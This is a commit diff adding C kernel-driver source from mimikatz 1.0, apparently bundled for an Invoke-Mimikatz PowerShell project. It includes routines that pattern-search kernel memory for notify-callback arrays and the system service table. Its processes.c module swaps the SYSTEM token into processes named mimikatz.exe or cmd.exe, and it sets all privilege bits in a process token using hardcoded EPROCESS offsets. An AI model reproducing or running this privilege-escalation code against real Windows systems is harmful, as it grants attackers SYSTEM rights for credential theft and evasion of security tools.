LONG OFFS_WN61_Head = -4;
UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55};
LONG OFFS_WIN8_Head = -4;
#endif
PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE;
PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0;
if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead)
{
retour = STATUS_SUCCESS;
}
else
{
if(INDEX_OS < INDEX_VISTA)
{
retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector));
if(NT_SUCCESS(retour))
{
retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count));
}
}
else
{
if(INDEX_OS < INDEX_7)
{
pattern = PTRN_WN60_Head;
taille = sizeof(PTRN_WN60_Head);
offsetTo= OFFS_WN60_Head;
}
else
{
#ifdef _M_X64
pattern = PTRN_WALL_Head;
taille = sizeof(PTRN_WALL_Head);
offsetTo= OFFS_WALL_Head;
#elif defined _M_IX86
if(INDEX_OS < INDEX_8)
{
pattern = PTRN_WN61_Head;
taille = sizeof(PTRN_WN61_Head);
offsetTo= OFFS_WN61_Head;
}
else
{
pattern = PTRN_WIN8_Head;
taille = sizeof(PTRN_WIN8_Head);
offsetTo= OFFS_WIN8_Head;
}
#endif
}
retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo);
}
}
return retour;
}

View File

@ -0,0 +1,17 @@
#pragma once
#include "notify.h"
ULONG * CmpCallBackCount;
PVOID * CmpCallBackVector;
PLIST_ENTRY CallbackListHead;
typedef struct _KIWI_REGISTRY6_CALLBACK
{
LARGE_INTEGER cookie;
PVOID context;
PVOID callback;
UNICODE_STRING altitude;
} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK;
NTSTATUS getNotifyRegistryRoutine();
NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,111 @@
#include "notify_thread.h"
ULONG * PspCreateThreadNotifyRoutineCount = NULL;
PVOID * PspCreateThreadNotifyRoutine = NULL;
NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
ULONG i;
PKIWI_CALLBACK monCallBack;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n");
if(NT_SUCCESS(status))
{
status = getPspCreateThreadNotifyRoutine();
if(NT_SUCCESS(status))
{
for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++)
{
monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]);
if(monCallBack != NULL)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
}
}
}
return status;
}
NTSTATUS getPspCreateThreadNotifyRoutine()
{
NTSTATUS retour = STATUS_NOT_FOUND;
#ifdef _M_X64
UCHAR PTRN_WNT5_Thread[] = {0x48, 0x8d, 0x35};
LONG OFFS_WNT5_Thread = sizeof(PTRN_WNT5_Thread);
UCHAR PTRN_WNT6_Thread[] = {0x48, 0x8d, 0x0d};
LONG OFFS_WNT6_Thread = sizeof(PTRN_WNT6_Thread);
#elif defined _M_IX86
UCHAR PTRN_WNO8_Thread[] = {0x56, 0xbe};
LONG OFFS_WNO8_Thread = sizeof(PTRN_WNO8_Thread);
UCHAR PTRN_WIN8_Thread[] = {0x53, 0xbb};
LONG OFFS_WIN8_Thread = sizeof(PTRN_WIN8_Thread);
#endif
LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine;
LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT6_PspCreateThreadNotifyRoutine;
PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetCreateThreadNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0;
LONG offsetToCount = 0;
if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
{
retour = STATUS_SUCCESS;
}
else
{
if(INDEX_OS < INDEX_VISTA)
{
#ifdef _M_X64
pattern = PTRN_WNT5_Thread;
taille = sizeof(PTRN_WNT5_Thread);
offsetTo = OFFS_WNT5_Thread;
#endif
offsetToCount = OFFS_WNT5_Count;
}
else
{
#ifdef _M_X64
pattern = PTRN_WNT6_Thread;
taille = sizeof(PTRN_WNT6_Thread);
offsetTo = OFFS_WNT6_Thread;
#endif
offsetToCount = OFFS_WNT6_Count;
}
#if defined _M_IX86
if(INDEX_OS < INDEX_8)
{
pattern = PTRN_WNO8_Thread;
taille = sizeof(PTRN_WNO8_Thread);
offsetTo = OFFS_WNO8_Thread;
}
else
{
pattern = PTRN_WIN8_Thread;
taille = sizeof(PTRN_WIN8_Thread);
offsetTo = OFFS_WIN8_Thread;
}
#endif
retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo);
if(NT_SUCCESS(retour))
{
PspCreateThreadNotifyRoutine = (PVOID) (pointeur);
PspCreateThreadNotifyRoutineCount = (PULONG) (pointeur + offsetToCount);
if(PspCreateThreadNotifyRoutine && PspCreateThreadNotifyRoutineCount)
retour = STATUS_SUCCESS;
}
}
return retour;
}

View File

@ -0,0 +1,11 @@
#pragma once
#include "notify.h"
#define MAX_NT6_PspCreateThreadNotifyRoutine 64
#define MAX_NT5_PspCreateThreadNotifyRoutine 8
ULONG * PspCreateThreadNotifyRoutineCount;
PVOID * PspCreateThreadNotifyRoutine;
NTSTATUS getPspCreateThreadNotifyRoutine();
NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);

View File

@ -0,0 +1,146 @@
#include "processes.h"
const ULONG EPROCESS_OffSetTable[MAX_OS_LEN][MAX_EPROCESS_LEN] =
{
/* INDEX_EPROCESS_NEXT, INDEX_EPROCESS_FLAGS2, INDEX_TOKEN_PRIVS */
#ifdef _M_IX86
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x0088, 0x0000, 0x0000},
/* INDEX_2K3 */ {0x0098, 0x0000, 0x0000},
/* INDEX_VISTA */ {0x00a0, 0x0224, 0x0040},
/* INDEX_2K8 */ {0x00a0, 0x0224, 0x0040},
/* INDEX_7 */ {0x00b8, 0x026c, 0x0040},
/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000},/* n'existe pas ! */
/* INDEX_8 */ {0x00b8, 0x00c0, 0x0040}
#else
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000},
/* INDEX_XP */ {0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 *est* 2003 x64 */
/* INDEX_2K3 */ {0x00e0, 0x0000, 0x0000},
/* INDEX_VISTA */ {0x00e8, 0x036c, 0x0040},
/* INDEX_2K8 */ {0x00e8, 0x036c, 0x0040},
/* INDEX_7 */ {0x0188, 0x043c, 0x0040},
/* INDEX_2K8R2 */ {0x0188, 0x043c, 0x0040},
/* INDEX_8 */ {0x02e8, 0x02f8, 0x0040}
#endif
};
NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ExchangeToken);
}
NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
return listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListProcesses);
}
NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status = STATUS_NOT_SUPPORTED;
if(INDEX_OS >= INDEX_VISTA)
status = listProcessesOrSysToken(pszDest, cbDest, ppszDestEnd, pcbRemaining, FullPrivilegeNT6);
return status;
}
NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action)
{
NTSTATUS status = STATUS_SUCCESS, status2 = STATUS_SUCCESS;
PEPROCESS monProcess = NULL;
PCHAR processName = NULL;
HANDLE processId = NULL;
PACCESS_TOKEN monTokenAcess = NULL;
PKIWI_NT6_PRIVILEGES mesPrivileges = NULL;
HANDLE sysProcessHandle, sysProcessTokenHandle, newSysTokenHandle, processHandle;
PROCESS_ACCESS_TOKEN ProcessTokenInformation;
PULONG pFlags2 = NULL;
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
for(
monProcess = PsInitialSystemProcess;
NT_SUCCESS(status) &&
(PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]) != PsInitialSystemProcess;
monProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT]))- EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_NEXT])
)
{
processName = PsGetProcessImageFileName(monProcess);
processId = PsGetProcessId(monProcess);
if(action == ExchangeToken || action == FullPrivilegeNT6)
{
if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
L"processes::ExchangeToken/FullPrivilegeNT6 \'%S' trouvé :) - PID %u\n", processName, processId
);
if(action == ExchangeToken)
{
status2 = ObOpenObjectByPointer(PsInitialSystemProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_READ, *PsProcessType, KernelMode, &sysProcessHandle);
if(NT_SUCCESS(status2))
{
status2 = ObOpenObjectByPointer(monProcess, OBJ_KERNEL_HANDLE, NULL, GENERIC_WRITE, *PsProcessType, KernelMode, &processHandle);
if(NT_SUCCESS(status2))
{
status2 = ZwOpenProcessTokenEx(sysProcessHandle, TOKEN_DUPLICATE, OBJ_KERNEL_HANDLE, &sysProcessTokenHandle);
if(NT_SUCCESS(status2))
{
status2 = ZwDuplicateToken(sysProcessTokenHandle, TOKEN_ASSIGN_PRIMARY, NULL, FALSE, TokenPrimary, &newSysTokenHandle);
if(NT_SUCCESS(status2))
{
ProcessTokenInformation.Token = newSysTokenHandle;
ProcessTokenInformation.Thread = 0;
if(INDEX_OS >= INDEX_VISTA)
{
pFlags2 = (PULONG) (((ULONG_PTR) monProcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_EPROCESS_FLAGS2]);
*pFlags2 &= ~TOKEN_FROZEN_MASK;
}
status2 = ZwSetInformationProcess(processHandle, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
if(NT_SUCCESS(status2))
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\nToken échangé :)\n");
}
if(INDEX_OS >= INDEX_VISTA)
{
*pFlags2 |= TOKEN_FROZEN_MASK;
}
ZwClose(newSysTokenHandle);
}
ZwClose(sysProcessTokenHandle);
}
ZwClose(processHandle);
ZwClose(sysProcessHandle);
}
}
}
else
{
if(monTokenAcess = PsReferencePrimaryToken(monProcess))
{
mesPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) monTokenAcess) + EPROCESS_OffSetTable[INDEX_OS][INDEX_TOKEN_PRIVS]);
mesPrivileges->Present[0] = mesPrivileges->Enabled[0] /*= mesPrivileges->EnabledByDefault[0]*/ = 0xfc;
mesPrivileges->Present[1] = mesPrivileges->Enabled[1] /*= mesPrivileges->EnabledByDefault[1]*/ = //...0xff;
mesPrivileges->Present[2] = mesPrivileges->Enabled[2] /*= mesPrivileges->EnabledByDefault[2]*/ = //...0xff;
mesPrivileges->Present[3] = mesPrivileges->Enabled[3] /*= mesPrivileges->EnabledByDefault[3]*/ = 0xff;
mesPrivileges->Present[4] = mesPrivileges->Enabled[4] /*= mesPrivileges->EnabledByDefault[4]*/ = 0x0f;
PsDereferencePrimaryToken(monTokenAcess);
}
}
}
}
else
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%u\t%S\n", processId, processName);
}
}
return status;
}

View File

@ -0,0 +1,33 @@
#pragma once
#include <ntifs.h>
#include "k_types.h"
#define INDEX_EPROCESS_NEXT 0
#define INDEX_EPROCESS_FLAGS2 1
#define INDEX_TOKEN_PRIVS 2
#define MAX_EPROCESS_LEN 3
#define TOKEN_FROZEN_MASK 0x00008000
typedef struct _KIWI_NT6_PRIVILEGES
{
UCHAR Present[8];
UCHAR Enabled[8];
UCHAR EnabledByDefault[8];
} KIWI_NT6_PRIVILEGES, *PKIWI_NT6_PRIVILEGES;
typedef enum _KIWI_EPROCESS_ACTION
{
ListProcesses,
ExchangeToken,
FullPrivilegeNT6
} KIWI_EPROCESS_ACTION;
extern char* PsGetProcessImageFileName(PEPROCESS monProcess);
extern NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in_bcount(ProcessInformationLength) PVOID ProcessInformation, __in ULONG ProcessInformationLength);
NTSTATUS listProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS sysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS privProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
NTSTATUS listProcessesOrSysToken(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_EPROCESS_ACTION action);

View File

@ -0,0 +1,83 @@
#include "ssdt.h"
#ifdef _M_X64
PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable = NULL;
#endif
NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
{
NTSTATUS status;
USHORT idxFunction;
ULONG_PTR funcAddr;
#ifdef _M_X64
status = getKeServiceDescriptorTable();
if(NT_SUCCESS(status))
{
#endif
*ppszDestEnd = pszDest; *pcbRemaining= cbDest;
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION , L"kSSDT - KeServiceDescriptorTable\t: %p\nkSSDT - KeServiceDescriptorTable.TableSize\t: %u\n", KeServiceDescriptorTable, KeServiceDescriptorTable->TableSize);
for(idxFunction = 0; (idxFunction < KeServiceDescriptorTable->TableSize) && NT_SUCCESS(status) ; idxFunction++)
{
#ifdef _M_IX86
funcAddr = (ULONG_PTR) KeServiceDescriptorTable->ServiceTable[idxFunction];
#else
funcAddr = (ULONG_PTR) KeServiceDescriptorTable->OffsetToService;
if(INDEX_OS < INDEX_VISTA)
{
funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] & ~EX_FAST_REF_MASK;
}
else
{
funcAddr += KeServiceDescriptorTable->OffsetToService[idxFunction] >> 4;
}
#endif
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%4u]\t: ", idxFunction);
if(NT_SUCCESS(status))
{
status = getModuleFromAddr(funcAddr, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
{
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
}
}
}
#ifdef _M_X64
}
#endif
return status;
}
#ifdef _M_X64
NTSTATUS getKeServiceDescriptorTable()
{
NTSTATUS retour = STATUS_NOT_FOUND;
UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83};
LONG OFFS_WNO8_Ke = -19;
LONG OFFS_WIN8_Ke = -16;
PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0;
UNICODE_STRING maRoutine;
PUCHAR baseSearch = NULL;
if(KeServiceDescriptorTable)
{
retour = STATUS_SUCCESS;
}
else
{
RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey");
if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine))
{
refDebut= baseSearch - 21*PAGE_SIZE;
refFin = baseSearch + 16*PAGE_SIZE;
offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke;
retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo);
}
}
return retour;
}
#endif

View File

@ -0,0 +1,13 @@
#pragma once
#include "k_types.h"
#include "mod_memory.h"
#include "modules.h"
NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
#ifdef _M_IX86
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
#else
PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
NTSTATUS getKeServiceDescriptorTable();
#endif

View File

@ -0,0 +1,10 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -0,0 +1,2 @@
#v4.0:v100
Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|

Binary file not shown.

View File

@ -0,0 +1,5 @@
^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp
C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp

View File

@ -0,0 +1 @@


View File

@ -0,0 +1 @@


Some files were not shown because too many files have changed in this diff Show More